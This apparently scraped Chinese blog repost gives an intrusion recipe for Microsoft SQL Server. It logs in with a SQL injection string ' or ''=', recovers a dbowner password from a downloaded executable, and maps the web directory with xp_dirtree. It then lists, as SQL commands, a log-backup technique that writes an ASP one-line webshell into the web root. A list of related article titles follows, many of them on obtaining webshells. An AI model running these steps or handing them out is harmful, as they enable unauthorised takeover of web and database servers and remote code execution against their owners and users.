利用log备份得到webshell
来源:互联网 发布:轩辕剑正版进阶数据 编辑:程序博客网 时间:2024/05/10 03:39
经历:通过 ' or ''=' 进入,下载回来一个exe文件的报名器,用ultraedit得到其中的mssql连接密码,是dbowner权限 ,可以远程连接,使用xp_dirtree 'd:/',1,1 得到其web目录,在网上查得一种 log备份得到webshell的技巧
alter database xxxx set RECOVERY FULL
create table cmd (a image)
backup log xxxx to disk = 'd:/web/1.asp' with init
insert into cmd (a) values ('<%If Request("k")<>"" Then Execute(Request("k"))%>')
backup log xxxx to disk = 'd:/web/2.asp'
由于数据库使用时间很长了,log文件很大,执行需要很长时间
之后访问2.asp,删除1.asp,不过,如果目标盘上空间不够,备份就成问题了。
- 利用log备份得到webshell
- 利用log备份获取WEBSHELL
- 利用Log备份获取Webshell
- SQL log备份上WEBSHELL总结
- 利用ASP上传漏洞得到webshell实战
- 利用ASP上传漏洞得到webshell实战
- SQL注入得到WEBSHELL
- SQL注入得到WEBSHELL
- 从后台得到webshell
- 恢复数据库得到webshell
- webshell绕开防火墙得到3389
- 利用redis写webshell
- 利用grep查找webshell
- 用Mysql得到Webshell(MySql Backup WebShell)
- 利用 mssql backup 创建webshell
- 利用WEBSHELL直接进入后台!
- 利用public权限获取webshell
- 从后台得到webshell技巧大汇总
- xml的一些心得!
- sqlldr使用小结(zt)
- 脆弱的卡巴斯基-Y2K问题的二代,即2038问题
- growBuffer
- 关于朝令夕改的认识
- 利用log备份得到webshell
- 关于const的笔记
- 用response.buffer=true为程序加速
- 懒惰的状态
- 动态链接库(Dynamic Link Library)学习笔记
- 以gpac/Osmo4远程播放Darwin Stream Server流化的媒体(一)
- 2005年华为招聘--C语言笔试试题
- 用Visual C#实现文件下载
- CCNA LAB (转载,更新)